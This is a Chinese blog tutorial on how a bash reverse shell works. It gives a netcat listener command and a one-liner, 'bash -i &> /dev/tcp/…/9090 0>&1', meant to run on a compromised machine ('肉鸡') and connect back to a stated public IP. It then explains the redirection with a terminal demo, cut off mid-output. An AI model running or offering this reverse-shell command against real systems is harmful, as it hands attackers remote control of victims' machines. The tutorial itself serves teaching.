彻底理解bash反弹shell

最新推荐文章于 2024-01-24 09:10:19 发布

「已注销」

最新推荐文章于 2024-01-24 09:10:19 发布

阅读量2.5k

点赞数 5

分类专栏：安全文章标签： bash 反弹shell I/O重定向

友链：https://cutt.ly/7777aaaa

本文链接：https://blog.csdn.net/include_heqile/article/details/85011135

版权

友链

关注微信公众号回复关键字【资料】获取各种学习资料

在这里插入图片描述

bash反弹：首先公网主机监听指定端口，然后肉鸡执行bash命令向公网指定端口发送连接请求

公网主机：
	nc -lvvp 9090
肉鸡执行：
	bash -i &> /dev/tcp/144.34.164.217/9090 0>&1
		其中144.34.164.217为自己的公网主机

对命令的解释：

bash -i意为创建一个交互式的bash shell
&>意为将标准输出和标准错误都重定向到我们指定的文件中

实验如下：

x@DESKTOP-GR9LS16:~$ cat 1
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 > 2
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 &> 2
x@DESKTOP-GR9LS16:~$ cat 2
cat: 1: No such file or directory

x@DESKTOP-GR9LS16:~$ cat 1
I get some words here!!
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such